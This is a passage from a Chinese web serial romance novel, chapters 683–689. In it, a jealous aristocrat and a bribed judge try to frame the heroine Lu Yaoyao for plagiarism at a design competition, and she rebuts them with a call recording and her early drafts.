“娶了你……我就能在E国称王?”他讥讽的瞥了她一眼,语气愈发冷的开口:“你以为没有你的父亲我就能屈居人下?克里斯蒂娜,你真该回家问问你的父亲,现在真正掌握大权的人是谁,究竟是我苏衡,还是你那迂腐贪污的父亲。” 苏衡的话,像是一耳光狠狠的甩在了蒂娜的脸上,好像是全身上下都被扒光了透在他面前,让他挑剔着,厌恶着…… 不该是这样。 全都不对。 她作为真正的贵族,苏衡不是应该喜欢她的吗?为什么会变成这样的…… 因为陆杳杳,都是因为陆杳杳,如果没有陆杳杳这一切都不会发生,如果没有陆杳杳!这一切都不会这样的进行下去!都怪陆杳杳!陆杳杳这个贱人! 克里斯蒂娜还醉着,竟是忘了身边的人是苏衡,此刻充满恨意的怒吼:“陆杳杳!我不会放过你的!我永远都不会放过你的!我一定会让你生不如死,唔,放……放……放开……” 克里斯蒂娜的话被强硬的噎进了喉间,脖子被大力的掐住,咽喉都要被掐断,嗓子干裂着,疼痛着,浑身都在发麻的颤抖着。 她的意识已经完全的涣散,只想要求饶让她呼吸一口新鲜的空气。 她的脸涨得通红,只能不断的憋气,身子已经离了地,那种快要断气的恐怖感觉让她再一次的颤抖起来。 “你听好了。陆杳杳是我的人,她是我的命。”他一字一句都是从牙缝里蹦出来,让她听得真切,却也愈发的恐惧。 “敢伤她,就从我苏衡的尸体上踏过去。” “听清楚了没有。”他逼迫的让她抬起头,让她清晰的看到他眼眸中透露出的鲜红的血丝,那种像是带着恶魔的爪牙的眼神让她浑身发颤,终于忍受不住的不停的点头。 这一刻求生的意识大过一切,他说什么她都同意,现在浑身有的只有求生的意识。 第684章 别再让她到处乱跑 “滚开!” 蒂娜身子终于被放开。 她“噗通”的跌到地上,冰冷的地面触到肌肤冻的她一哆嗦,可来不及感知这一切,喉间就在一次的传来了刺痛感,她捂着嘴不停的咳嗽,像是要把肺都咳出来才甘心。 她的左手撑在地面,右手不停的揉捏着自己的嗓子,像是带着呕意,只能不停的咳着,虚弱无比。 不知过了多久才终于过了那个劲儿,她充满恨意的攥紧了自己的手,恨恨的砸在地上,哪怕是传来疼痛感也毫不在乎。 直到现在还记得苏衡方才那种带着无尽恨意的眼神,那种像是要把她剥皮拆骨的恐怖眼神让她浑身发颤,也为此恼恨的记上了陆杳杳。 她从未想过苏衡竟然真的会把陆杳杳放在心尖上,陆杳杳算什么东西,她凭什么霸占着苏衡! 跟着一同前来的助理看到此刻像是受了惊吓无比狼狈的蒂娜也有些担心。 “蒂娜小姐,您没事吧?” 她赶紧的走过去想把蒂娜拉起来。 蒂娜大力的拍开她的手,恼怒的瞪向她,“滚开!别来惹我!” 助理的手被打的有些疼,可也不敢忤逆她,只能站在旁边,心里却一直犯着嘀咕,想着是谁会这么不长眼的招惹了蒂娜。 可正想着,对面的那扇门却打开了,露出苏衡沉冷的充满了寒意的脸。 助理被吓得身子一抖,在E国怎么可能没有见过苏衡,可苏衡这种脸色却是少见…… 助理也是知道蒂娜喜欢苏衡的,可苏衡却娶了一个华国女人,而且还是个没有家世背景的女人,难不成这一次苏衡就是来陪陆杳杳参加决赛的却被蒂娜看到了,所以才会如此恼恨? 助理心里头冒出了无数个可能,可看到苏衡晦暗的眼眸又被吓了一大跳。 “管好克里斯蒂娜,别再让她到处乱跑。”苏衡语气讥嘲。 助理震惊的不停的点头说着是。心里头却是确定了,还真是因为苏衡和陆杳杳才让蒂娜气到了。助理觉得蒂娜就是自己给自己作事儿,苏衡喜欢谁也不可能喜欢她啊,就她那性子,E国哪家贵族真敢迎进门。 可这话却也不敢说出来。 蒂娜刚才就已经被苏衡吓到了,现在听到他的声音连头都不敢抬,听到这声音她就觉得喉咙还在疼着,像是要被人把脖子掐断的那种恐怖的感觉再一次的席上心头。 她有些低着头,手却再一次的握成拳。 苏衡冷笑的打算离开,竟是看都没看克里斯蒂娜一眼,只是离开前命令人把被蒂娜摸过的门换掉。 克里斯蒂娜的助理有些傻傻的问了句为什么要换门。 苏衡停下脚步,淡淡的扫了助理一眼,下一秒又冷淡的瞥了蒂娜一眼,“门被垃圾摸过了,这个房间也没必要待了。” 话音落下,已经离开。 助理愣在原地压根没反应过来是怎么一回事儿,门被垃圾摸过了?垃圾?垃圾……? 助理反射弧有些长,想了好半天才终于反应过来苏衡说的垃圾就是克里斯蒂娜。助理嘴角抽了抽,似乎是觉得这说法挺妥当。 克里斯蒂娜察觉到助理的怪异,抬起头看到她眼角带着一抹笑意,顿时觉得助理是在嘲讽自己,火气再一次的涌到心口。 “你在笑话我是不是!” 助理被克里斯蒂娜骂醒了,立刻摇头,“没有,我没有在笑话蒂娜小姐。” 克里斯蒂娜又狠狠的瞪了助理一眼,斥责道:“赶紧扶我起来!看到你就来气!” 助理一句话不说,听了克里斯蒂娜的意思把人扶起来带到了房间,而蒂娜似乎是受了刺激,躺在床上一动不动,像是一具死尸。 助理不敢打扰到她,只能出了房间。 苏衡住的酒店是A市最高档的星级酒店,他这次是自己私人行程没有住安排好的地方,克里斯蒂娜娇贵也只住最贵的酒店,住在这里的可以说是那些海外名流们。 现在苏衡已经安排助理拆门了,那声音挺大的,有其他房间的E国人正巧散心回来皱着眉似乎是被嚷到了不怎么高兴。 那些工作人员说着好话,“真是不好意思,打扰了各位休息,可苏先生说这间房门碰到了垃圾必须要换,希望各位能多担待一下,我们会尽快的把门换掉。” 那些E国贵族面面相觑,似乎是不太明白怎么回事儿,门碰到了垃圾?这也需要换门?这不是多此一举吗?擦擦不就好了? 有人却是个聪明的,“苏先生?哪个苏先生?我们这些人里可没有人姓苏。” 有人似乎反应过来这位苏先生是谁后惊呼了一声,一群人围在一起讨论苏衡。 蒂娜被吵得不行,开了门就听到那工作人员说要换门,还说是那门碰到了垃圾,脸更黑了几分,这会儿更是恨上陆杳杳了,可听到工作人员提到苏衡甚至还多提了几句陆杳杳,蒂娜心情更是跌到了低谷,暴脾气的骂道,“这些事是你一个员工能随便议论的吗!” 工作人员也没想到说句话还能被骂,不过能在这里工作也是有素质的,也不跟蒂娜对骂什么,只是乐呵呵的道歉,便也不再讨论什么了。 而其他的参赛者似乎是感觉到了蒂娜的不对劲儿,好像是跟陆杳杳有仇一样。 “蒂娜小姐你好像跟陆杳杳很熟?”有人开口问道,“陆杳杳这人怎么样?” “陆杳杳这人怎么样?”克里斯蒂娜怒笑,“她就是个喜欢勾引男人的贱人,没身份没背景,谁知道这一次是怎么走到决赛的,还不是凭着她哥哥是陆斯年?不是让陆斯年找了后台就是让苏衡找了后台,那个贱人还能画出什么好的设计图,在E国就听说她最喜欢抄袭,你们可要护好了自己手中的设计图,别让那贱人抄袭了,到时候一辈子都要被毁掉了。” 陆杳杳当然没有做过抄袭的那档子事儿,可她就是看陆杳杳不顺眼,哪怕是说些坏话也能让她心里头高兴一些。 可这些话听在其他人的耳朵里就不是那么回事儿了。 那人继续问道,“那个陆杳杳到底是怎么勾引男人的?那要有多漂亮?” 第685章 抄袭 “你问陆杳杳怎么勾引男人?苏衡本来该跟我在一起,现在就这么被这个女人勾走了心,你问我陆杳杳到底有多漂亮,长得跟个狐狸精一样,那双眼睛都带着媚意,生来就是勾男人的,你说要美成什么样。”克里斯蒂娜嘲讽开口 那人恍然大悟,像是明白了什么一样,眼神里面也带着鄙夷,好像陆杳杳是什么脏东西一样。 其他的人也是不敢相信这种女人竟然也能进入决赛。 克里斯蒂娜似乎是觉得还不够,继续的添油加醋。 “你们知不知道这次支持赞助比赛的都有哪些企业?QW知不知道,是苏衡掌控的企业,说没有苏衡走后门我是不信的。” 蒂娜这话让那些人震惊了,那这比赛还能比吗。QW肯定是要支持陆杳杳了,她们这不是要给陆杳杳做陪衬了? 那些人心里头对陆杳杳不喜极了,觉得这种女人真是恶心的倒胃口。 而站在克里斯蒂娜身边的助理却只能沉默着,一句话不敢说。 她不敢说蒂娜哪些都是不存在的,也不敢为陆杳杳正名,只能退后了一步为陆杳杳默哀。 “原来就是个狐狸精啊,狐狸精还要挤进这圈子做什么,把我们设计圈搞得乱七八糟的!” “还能什么原因,不就想往自己的身上镀层金吗,也不想想啊,她这种女人嫁进豪门肯定怕人说闲话,所以才想要参加这次的比赛,也真是心眼多。” 陆杳杳已经被人彻底的厌恶了,而她的身上也贴上了狐狸精拜金女的标签,却是撕不掉了。 克里斯蒂娜得意的扬起唇瓣,觉得这些人说的一点错都没有,陆杳杳就是贱人,苏衡娶了这样的贱人根本就是瞎了眼,他就该娶她这样的贵族小姐才对! 克里斯蒂娜心道,一定要让苏衡知道陆杳杳是个贱人。 倒是有些知道克里斯蒂娜有多离谱的贵族沉默的后退几步,她们不喜欢陆杳杳是因为陆杳杳跟苏衡关系太近,但不喜欢陆杳杳不代表就喜欢克里斯蒂娜。 比起陆杳杳,克里斯蒂娜这种喜欢到处造谣的人才更可怕。 …… …… 奥特斯特设计比赛当天,主持人先是介绍了这次的评委席众人,又是介绍了来参加这次比赛的一些大公司的赞助支持人。介绍完这些后请出了参赛选手。 第一位参赛选手“丹尼尔诺亚”是y国人,也是斩获过一系列大奖的设计师,而第二位就是克里斯蒂娜,依次的介绍下去,第三位则是陆杳杳,直到最后一位参赛者出场,是许宁。 前面那些人出现时现场也是能够控制住的,苏衡似乎是觉得无趣只是不咸不淡的点了点头,继续看下去。 一直到许宁出场现场气氛都有些古怪。 观众席还有那些记者都傻在了原地…… “许宁!那不是许宁吗!是许宁啊!” “真的是许宁!” “我去,许宁怎么有脸来参加这场设计赛的,她那身份拎出来还不够恶心人的!” 苏衡听到那些议论,眉眼瞬间冷厉,目光落在许宁的脸上…… 陆杳杳参加比赛,陆斯年受伤,许愿当然要带着薛酒来现场为陆杳杳加油打气的。 只是没想到许宁竟然也参加了这次的比赛,委实有些可笑。 许愿目光对准了陆杳杳略过许宁时眼底都是嘲意。 盛景炎的手放在许愿的手背上,轻轻的抚弄,算是给他安慰,“看看再说。” 陆杳杳却并不知道现场这些人为什么会做出那种奇怪的表情。她在国外念书学习并不怎么关注国内的事,所以自然不知道许宁的名声有多差。 克里斯蒂娜也不清楚这些人怎么会突然的就这么激动,许宁这么厉害?她只跟许宁接触过一次,根本不知道她什么身份什么来历,怎么这群人就这么激动,也不知道是哪里来的小喽啰。 到底是不清楚许宁的来历,众人只是目光冷淡的扫了她一眼 苏衡站在台下对着台上的陆杳杳报以微笑。 陆杳杳穿着简洁大方的枚红色的长裙,外面套着米白色的大衣外套,本来枚红色是最考验颜值的衣服,可她却完全的将那件礼服压下去,让那些礼服衬的她容貌娇艳的同时带着一股淡淡的不容忘怀的风情。 她拿着话筒对着在场的众人微微弯了弯唇角,在目光落在角落的男人身上时眉眼晦暗了片刻,却也只是一瞬。 “我是陆杳杳。”她笑的璀璨夺目,“我会是走到最后的那个人。” 很简单的一句话,却让人听进心里去。 苏衡定定的看着台上那个举止大方温婉却又拥有无尽风情媚意的女人,在心底烙她的名字。 “陆杳杳”。 虽然场上的很多人都对许宁抱有很多的疑问,但是比赛也仍旧如期开始。 一直到克里斯蒂娜上场。 她将自己的设计图放在投影仪下,设计图影射到屏幕上。 “我的设计作品叫做star drea,结合了夜空的绚烂多彩以及随着时间推移而产生的那种无与伦比的色彩,这份设计图的灵感来源于十八世纪阿斯米勒的《夜空梦境》中的片段。阿斯米勒曾说,我会将未来的时间献给这整片的星空,这是我心中最美的不会消失的梦。而这次奥特斯特主办方决赛的命题为“梦”,我把我心中所想的和阿斯米勒的理论结合设计出这次的作品,也是我迄今为止最为满意的设计作品……” 克里斯蒂娜在讲台上侃侃而谈。 她将她的构想以及这次作品的一些灵感来源全都讲得一清二楚。 可陆杳杳的脸色却愈发的难看。 因为克里斯蒂娜的设计图跟她的设计图几乎一模一样,只是那些灵感来源不同而已。 她不相信世界上会有这么巧的事情,克里斯蒂娜的作品怎么可能会这么凑巧的跟她的撞了? 她想起主办方在决赛前三天打来的那通电话,心也在此刻沉入了谷底,所以……就是在这里等着她吗。 克里斯蒂娜的“star drea”引起了怎样的轰动陆杳杳都没去注意,甚至是此刻都有些失魂落魄的。 第686章 狐狸精就是狐狸精 苏衡察觉到陆杳杳眸中失意的光心口微微的发疼。 场下那些评委嘉宾却没有发现她的,此刻还沉浸在克里斯蒂娜的设计作品中无法自拔。 这可以说是在视觉上造成了一定的冲击,而且设计风格大胆,可也完全紧跟潮流,在她们的心里,也就只有曾经的汤姆斯能够做到这一步。 评委们又再一次的询问了克里斯蒂娜一些问题,似乎是对克里斯蒂娜很有兴趣,董琦蓉也因此有些欣赏克里斯蒂娜,在她眼里克里斯蒂娜是一位有才华的设计师。 克里斯蒂娜内心骄傲无比,心中想着这就该是她得到的殊荣,陆杳杳算什么?她就等着被人嘲讽奚落然后被苏衡厌恶抛弃吧! 克里斯蒂娜被夸的愈发的自傲了,而神情也分外倨傲,让人看着就有些不爽,可那些评委却已经把她看做是与众不同的天才设计师,自然不会在意这种细节。 好不容易放克里斯蒂娜下台,克里斯蒂娜唇角带着一抹讥嘲的意味朝着陆杳杳看去,似乎是等着看她的好戏。 终于轮到陆杳杳。 她握着u盘的手都有些汗湿了,可还是佯装镇定的走上台唇角挂上一抹得体的笑意。 她是紧张的,但也不是傻子。 她的确和克里斯蒂娜的设计作品一模一样,可即使是克里斯蒂娜比她先出场也不能代表就是她抄袭了克里斯蒂娜。 要说起抄袭,蒂娜的嫌疑才是最大的那一个,所以越到这种场合就越不能紧张。 陆杳杳沉默时却没有发现许宁脸上一跃而过的讽意。 陆杳杳镇定下来,带着笑的把自己的u盘插进接盘口,大屏幕上立刻出现了她画好的设计图稿。 瞬间,台下一片嘈杂,而评委席也有些炸锅了。 陆杳杳对着台下的人报以微笑,“我是陆杳杳,这是我的决赛设计作品,星夜。” “大家可能会对我的作品有些看法,不过请给我时间让我对我的作品做一些介绍补充,谢谢。” 台下的记者和评委因这话沉默了,这时候的确是她自述的时间。 “决赛的主题只有一个字,那就是“梦”,但很抱歉,我在决赛前就已经开始设计制作这次的礼服作品,对我来说它不仅仅是我寄托的梦,它也同样承载着我对未来的憧憬。” “浩瀚宇宙的每一个角落都有无数的存在,我们只是其中一个最微小的存在,又或许连尘埃都不如,当我们在仰望星空时又怎么知道星空不是以同样的眼神仰望着我们?春天的夜,暖风轻扬;夏天的夜,虫声鸣起;秋天的夜,清风携香;冬天的夜,凛冽寒冷。可每个夜空都是完美无瑕的,无论是狂风大作亦是暴雨倾盆,在我们脑海中的夜,是绝对完美的。” “那是一种对星夜的向往。每个人都曾在一个人时想过那样的场景,在寂寥无声的山坡,看着那片活在自己心中的星夜。而这,也是一种对梦的解释,只是我对梦的看法。” 陆杳杳的话让现场的评委陷入了沉思,可还是有人犀利的提出了疑问。 “陆杳杳,克里斯蒂娜小姐比你更早拿出设计图,那是不是代表你抄袭了克里斯蒂娜的作品?” 陆杳杳低头轻笑,“这位记者先生,如果您的母亲为您烹煮了中午的饭菜,而您的母亲却因为有事离开,正巧有朋友来拜访,那么这饭菜就是您烹煮的吗?” 这话,似乎是在暗讽克里斯蒂娜是抄袭者。 克里斯蒂娜这点智商还是有的,她心虚之后就暴跳如雷,生怕被人看出些什么,抬手指着陆杳杳的鼻子骂道,“陆杳杳!你不要胡说八道了!你根本就是抄袭了我的作品,你不仅抢我的男人还抄袭我的作品!如果你还要脸就立刻拿着你的设计稿件从台上滚下来!” 克里斯蒂娜的话让在场的人都眉头紧锁有些不悦。 克里斯蒂娜眼神犀利的瞪视着陆杳杳,许愿对克里斯蒂娜这番的无礼皱眉。在他看来她就是在侮辱陆杳杳。 “这一次总部都没有对参赛人员进行品质筛选?怎么什么人都能来参赛?当真是降低了比赛水准。”许愿嘲讽。 蒂娜以为许愿在帮她说话讽刺陆杳杳,也应和的说道,“陆杳杳你听到了没有,这位小街都说你品质低下了,你还不赶紧从台上下来省的丢人了!” 盛景炎狭长的眉微微弯起,可即使是笑着的,眼眸里的寒意却一点都不见少。 “阿愿说的是你。” 蒂娜听到了盛景炎说的这句话,还听得真真的,因为她就看着盛景炎对着她说出了那句话。 蒂娜像是听到了笑话一样的抬手指着自己,好像是在确认一样,确认盛景炎是不是在开玩笑。 “在说我?” 陪同许愿一起来的薛酒面上温和的笑意冷了几分,“你认为在场的人里面除了你还有谁更没品呢克里斯蒂娜小姐。” 克里斯蒂娜气的肝儿疼,这种情况下不是因为陆杳杳抄袭然后对她群起而攻之吗,怎么现在都开始讽刺她了,剧本完全不对了!这情况根本就不对啊! 克里斯蒂娜无法忍受的暗自恼恨着,“我哪里没品了!没品的明明就是陆杳杳!她抄袭了我的作品!” 苏衡冷冷的扫过笑话一般的蒂娜,语气沉冷:“评委还没有说话你倒是开始为自己脱罪,如果不觉得丢人就闭嘴,别把E国的脸丢到华国。” 蒂娜还想要骂回去,可看到苏衡的冷脸瞬间就有些蔫儿了,她可还记几天前苏衡是如何对她的,只能愤愤的将话咽下去。 可即使是住嘴了,心里头也仍旧觉得陆杳杳恶心,认为是陆杳杳给这些人使了药,不然这些人为什么对陆杳杳这么好,全都一股脑儿的帮着陆杳杳说话? 果然狐狸精就是狐狸精,有着勾引人的本钱。 克里斯蒂娜心中嫉恨,可也想着评委席和记者里面都有自己的人便也放下心来了,她才不信陆杳杳还能有通天的本事了。 第687章 陷害 评委席内被买通的乔麦尔看着场上这一幕也有些难办,其实光看陆杳杳和克里斯蒂娜的作品介绍和设计心得就已经有一定的考量了,他是觉得陆杳杳更靠谱一些,可毕竟是收了蒂娜的钱了,总要有些利用价值才好。 “陆杳杳,虽然你的设计心得说的很不错,可毕竟蒂娜在你之前介绍了作品,而且我们也在心里已经把这张设计图印上了蒂娜的名字,而且蒂娜也是拿过奖项有名气的设计师,且多次在海外拿过设计类奖项,你跟蒂娜对上……这明眼人都知道怎么一回事,而且你和蒂娜都是来自E国的的艺术学院,所以你抄袭了蒂娜的嫌疑会更大。这样吧,如果你不想事情被闹大,那就趁现在向蒂娜道歉,并承诺以后永不再抄袭,在今天的设计赛后就正式退出设计圈怎么样。” 这番话说的克里斯蒂娜很受用啊。 这样说多好,陆杳杳可没有那个设计能力,陆杳杳就该低头并且以后都退出设计圈这才是最好的决定,省的让陆杳杳整天的在自己面前乱晃,转的头疼。 这话说的,屁股都要从华国歪到E国了,简直太可笑了。 这明晃晃的就是在为克里斯蒂娜说话。 参赛者们因为突如其来的变故窃窃私语。 “陆杳杳真的抄袭了蒂娜吗?陆杳杳可是汤姆斯老师的学生……她不必这么做吧。” “谁知道是不是抄袭了,现在汤姆斯老师又不在华国,现在坐在评委席是跟汤姆斯有仇的薇薇安,薇薇安不可能帮陆杳杳,反正最后也只能是陆杳杳低头,薇薇安老师绝对不会让过陆杳杳的。” “陆杳杳以前那么嚣张,这次也算是踢到铁板了,不说克里斯蒂娜的身份,就说薇薇安,哪一个能让她好过了?所以不管她是不是真的抄袭了她都必须给个交代。” “我看就是陆杳杳抄袭了克里斯蒂娜,蒂娜可是E国的贵族,贵族和普通人不一样,她们可是最在意名声的,蒂娜可犯不着为了这么个比赛偷陆杳杳的设计图,这件事情真要传出去,蒂娜还怎么回E国。” 参赛者们小声讨论,似乎是已经认定了抄袭者是陆杳杳而非克里斯蒂娜。 许宁混在这群人中眼底掠过的都是嘲讽之意。 傅长海让她参加设计比赛的时候她就感觉到不对了,她其实也不是绝对的蠢货,特地搜索了参与设计比赛的选手以前的作品,猜到了傅长海给她的是陆杳杳的作品。 的确,陆杳杳是陆斯年的妹妹,傅长海想对付许愿想对她身边的人开刀那肯定是要设计陆杳杳的。 许宁倒是没猜到傅长海让她盗取设计图是为了埋一条线故意让人寻到她这里然后让陆斯年为了陆杳杳对付她,她到底对傅京礼士特殊的,傅京礼如果想保住她就一定要对上陆斯年。 所以傅长海不过是借刀杀人要对付傅京礼罢了。 许宁没猜到这些,她只以为傅长海要对付陆杳杳,所以特意调查过这次参加比赛的参赛者身份,其中以克里斯蒂娜身份最为尊贵,且最重要一旦克里斯蒂娜不喜欢陆杳杳。 调查清楚一切后许宁才特意联系其他人找了蒂娜,将这份设计稿交给蒂娜,为的就是要让陆杳杳出丑。 蒂娜没什么脑子,被家里宠坏了,所以根本没想更多直接就借用了设计稿,就是因为蒂娜知道评委薇薇安不喜欢陆杳杳,在比赛现场是要薇薇安说点什么,陆杳杳这辈子都完了! 果然,现在现场已经乱了。 被买通的记者也是尖酸刻薄的开口嘲讽:“陆小姐,这年头你这样的人我也见多了,你说你的哥哥都已经为了你成了盛华的总裁,既然都已经算是有钱的暴发户了怎么还非要削尖了脑袋还要往这设计圈钻什么?你们华国不是有句古话说没那个金刚钻就别揽瓷器活,你说你没有什么设计才能还非要往设计圈子里钻什么?这不是诚心给人添堵吗?你是怎么进入决赛的我们也就不问了,就劳烦你现在退出比赛,还这比赛一个清净,也算是帮了我们大忙了。” 记者明显字字句句都在嘲讽陆杳杳,甚至说陆斯年是“暴发户”,这就绝对是侮辱了。 陆家曾经在A市虽比不上傅家黎家这些顶尖的家族但也绝对算是中等家族中的书香世家,怎么都不能用暴发户来嘲讽陆家人。 许愿眸光微暗,脸上本来就带着讽意的笑都淡了。 薛酒长指敲打着座椅扶手,喉间发出“哈”的一声,他竟是被气笑了,直接就要站起来去揍人。 薛酒就是这么个混不吝的性子,也多亏了长了那么一张雌雄莫辨的漂亮脸蛋,可就算如此还是不能忽略他身上明明懒懒散散却带着的危险气息。 薛酒这人在乎的人不多,也就那么几个,且陆斯年还是薛酒的兄弟,两人这些年一直在国外,怎么能容忍有些人就这么针对陆斯年针对陆杳杳? 什么东西也敢针对他们? 薛酒正要站起来,许愿抓住薛酒的手腕,低声道:“先不要冲动。” 薛酒舔了舔唇瓣,眼神却还是落在那记者身上开口道:“阿愿,我忍不了。” 盛景炎开口:“阿愿说的是先不要冲动,再看看。” 是的,许愿说的是“先”不要冲动,没说一会儿也不让冲动。 薛酒扬了下眉,这才算是听进去了。 许愿解释道:“这次奥特斯特设计赛选择在华国举办,且杳杳又参与了这次的比赛,如果中途出点什么叉子,难保那些人不会针对华国说事。” “别忘了克里斯蒂娜是E国贵族。” 薛酒嗤笑:“就她也算是贵族?倒是真给E国贵族抹黑。” 薛酒嘲完才向陆杳杳看去,却看到她淡定从容并不慌乱。 陆杳杳没有注意到薛酒,此刻也只是撩动着自己额前的刘海,唇角带着笑意的看着乔麦尔和那位嘲讽自己的记者。 第688章 你是评委还是我是评委 “那依照二位来看,我就是那个抄袭者了?这般没有根据的结论恐怕也就二位能得出来了。” “乔麦尔先生,我是有个疑问的。”陆杳杳率先看向了乔麦尔,“你说我抄袭了克里斯蒂娜你有什么证据吗?难道仅仅是因为克里斯蒂娜曾经获过一些其他的奖项所以就是我抄袭了克里斯蒂娜?可是你是不是忘记了我在海外也曾获过奖,所以只以此来针对我断定是我抄袭,那是不是有些欠妥。” 说完这话她看向记者,故意挑衅的说道,“这位记者先生,我劝你最好斟酌考虑好了再开口,你那漏洞百出的言辞如果真的要挑错处的话,恐怕你也不能继续在你这个圈子待了。” 那记者听出了这话里头的威胁意味,顿时心底一寒,好像真的是被威胁到有些害怕了。 记者僵硬的扭着脖子,却看到苏衡阴寒的眼眸以及充满了冷意的眼神,让他瞬间有些崩溃。 乔麦尔也是个老油条,她却是不怕在比赛场上陆杳杳能闹出什么岔子来。 “陆小姐,据我所知你在决赛前三天接到了奥特斯特总部打过去的慰问电话,至于电话里面都说了些什么你应该自己心里清楚,难道还需要我把话挑明白了说吗。” 陆杳杳在看到今天蒂娜的设计作品时她就猜到了会在这里挖了个坑等着她,挺可笑的。 “请您尽量把话挑明了说,那通电话里到底是说了什么。”陆杳杳不惊不恼的和他周旋着,似乎是一点都不怕乔麦尔能出什么损招儿。 “陆小姐,你是真糊涂还是假糊涂,你做了什么难道自己还不知道?竟然还想让我把话说明白了,你也丢得起这个人?” 乔麦尔也不说好话了,露出了嘲讽的笑容,好像是在嘲讽陆杳杳的不自量力。 其他的评委也有些闹不清楚情况了,不知道这是怎么回事儿,薇薇安却是敏锐的感觉到乔麦尔是在摆明了对付陆杳杳,不过她并没有阻止,只是面无表情的观望。 “乔麦尔,有些话你需要说的清楚些,这么遮遮掩掩的算是什么意思?” 乔麦尔见薇薇安发话了,也是朝她挤挤眼睛,“薇薇安你还不明白?陆杳杳肯定是在决赛前受到了线人的通知,然后抄袭了克里斯蒂娜的作品,这不是明摆着的事情?” 听乔麦尔说完这话陆杳杳都有些想发笑了。 “所以您就是认为我抄袭了是吗?”陆杳杳笑意加深了,“就因为那一通电话您就认为我抄袭了是吗。” 她重复了一遍,可很明显的语气却加重了几分。 乔麦尔斩钉截铁的开口,“没错,就是因为那通电话。” 陆杳杳笑着拿出自己的手机,点开了录音。 手机里面传出了电话语音。 “不好意思,我想请问奥特斯特在决赛前三天打电话给我有什么事吗?” “我们只是提前例行慰问,希望明天陆小姐能够不负我们奥特斯特众望。” “谢谢。” 不过就是三句话,也就是半分钟左右的时间电话就被挂断。 陆杳杳扬起自己的手机,“评委先生,在奥特斯特主办方在决赛前三天打电话给我时我就已经察觉到了不对,所以在接听了奥特斯特的来电后就对电话进行了录音,这就是主办方在三天前对我说的话。如果您觉得我撒谎了,还进行了其他的通话那尽管可以调出我的通话记录,看看和奥特斯特是不是只通话了一次,只有半分钟的时间。” “到了这种时候评委先生难道还要认为我抄袭吗。” 乔麦尔怎么都没有想到陆杳杳会有录音的习惯,这会儿都还是懵的。 好半晌,乔麦尔才开口:“这通电话不能证明你没有抄袭。” 陆杳杳脸上的讽意愈发重了。 “那么,乔麦尔先生,请问你又是拿什么证明是我抄袭而不是克里斯蒂娜抄袭?” “如果我没记错乔麦尔先生是E国人曾经受过克里斯家族的恩惠吧。” “乔麦尔先生用各种可笑的说法指责我抄袭,字字句句维护克里斯蒂娜,那我倒还可以说是乔麦尔先生收了克里斯家族的钱财故意针对设计我。” “毕竟在E国很多人都是到克里斯蒂安并不喜欢我……而乔麦尔先生本质上算是克里斯家族的人,既然是克里斯家族的人,你开口对我没有任何证据依据的指责只能说是污蔑。” 乔麦尔面上表情都僵了。 他眼珠转了转指着陆杳杳开口道:“胡说八道!简直是胡说八道!” “我曾经受过克里斯家族的恩惠但不代表我能做这种事!” 陆杳杳冷嘲:“那么证据呢,乔麦尔先生说自己不会做这种事有什么证据能证明呢?不需要自证吗?如果你不能证明自己是无辜的,那么你就是克里斯蒂娜的帮凶。” 陆杳杳一字一句真是完完全全踩到乔麦尔的心窝上。 乔麦尔脸色铁青:“我没做的事情为什么要证明!” 乔麦尔被气的拍案而起。 陆杳杳面无表情,眼眸却带着冷意。 “那么,我又为什么要为我没做过的事去证明我没抄袭,乔麦尔先生自己不觉得可笑吗。” 陆杳杳一字一句愣是把乔麦尔带劲坑里,让乔麦尔整个人恍恍惚惚的。 薇薇安慢条斯理的抚过鬓角的发,然后喝了口咖啡,心里嘲讽乔麦尔一把年纪还是个蠢货被陆杳杳耍弄,真是没用极了。 “陆杳杳,乔麦尔让你自证只因为克里斯蒂娜比你更早拿出了设计图,你要怪只能怪你自己运气不好抽到的号码太靠后,如果今天是你先拿出了这幅设计图,乔麦尔也会让克里斯蒂娜自证没有抄袭,我想你这么聪明应该能理解我的意思。” 薇薇安面带笑意的看着陆杳杳,可说出的话却并不友好。 陆杳杳冷冷的看着薇薇安:“薇薇安老师说的有关于克里斯蒂安的情况不也只是一种假设,现在事实就是我在被你们评委席的人为难。” “这件事情有这么难解决吗?” “克里斯蒂娜设计的风格都是偏欧美风的比较大胆外放的,而我的设计图偏中式,其上的印花花纹也多是华国古风系列的花纹,你们可以仔细看我们的图就能看出大概。” “每个人的设计图都有自己独特的风格,大可以查看我们原来的设计风格,或者查看我们设计过程留下的草稿,我这里有拿到比赛命题后就设计的初稿,克里斯蒂安也有吗?” “如果克里斯蒂安也有,大可以拿出来我们当面对峙。” 陆杳杳一字一句说的清楚。 薇薇安眼神暗了些许,她笑了一声道:“陆杳杳,你是评委还是我是评委。” “出了这种事你还想要继续闹大不成?” “这件事到此为止,我们没有那么多时间耗在你身上。” 乔麦尔也在一旁附和,他不知道自己还能说些什么,支支吾吾了半天,又说出了克里斯蒂娜是有名气的设计师,陆杳杳只是个没有任何名气的小人物,所以肯定是她抄袭了克里斯蒂娜的作品这类的话,让陆杳杳不要继续胡闹。这类的话让陆杳杳听的耳朵都要生茧了,甚至是觉得可笑至极。 第689章 华国欺负华人? 薇薇安当下立断不想继续纠缠在这件事上,苏衡面色微沉正欲开口,许愿却已经站出来。 “好大的口气。” “在华国欺负华人,你是认真的?” 许愿已经站起身,薛酒本来就被薇薇安和乔麦尔那些话气的脸色都变了,可这会儿许愿站起来薛酒嘀咕了句:“不忍了?” 忍什么忍?都歪屁股歪到哪里了还继续忍? 陆斯年不在怎么能让随便什么人欺负他们妹妹! 许愿是坐在观众席一排最中间靠边的位置,但坐在第一排的不是主办方的人就是什么了不得的大人物。 眼见许愿站起来,薇薇安眼神一凛,苏衡见许愿出面冲她微微颔首,没有在这时候为陆杳杳出面,他想先看看许愿打算怎么解决。 “这位小姐,这是我们和主办方之间的事,你只是来现场看设计比赛的,似乎并没有权利对我们这些主办方高价请来的评委进行质疑。” 薇薇安目光落到许愿身上,先前目光一直放到参赛者的身上,现今骤然看到许愿还是有片刻晃了神。 她极少见到这样漂亮精致的人,目光又在略过她身后的薛酒时怔愣一瞬,但缓过来后还是找好了借口。 “这的确是一场设计比赛,而你是评委我是观众。” “但你是不是忘记了,这场设计比赛是全球性质的,既然是全球性质的那就应该给所有参赛者一个绝对公平的环境,而不是在出了意外后将帽子扣到我们华国人头上。” 许愿盯着薇薇安一字一顿:“这件事看似事小,但若是发散起来,你这就是种族歧视。” “你和乔麦尔所说的所做的就是在歧视参加设计比赛的华国人,而你们是E国人所以带着天然高高在上的优越感,你们完全不在意华国人是不是被冤枉,甚至就是认为华国人会做坏事。” 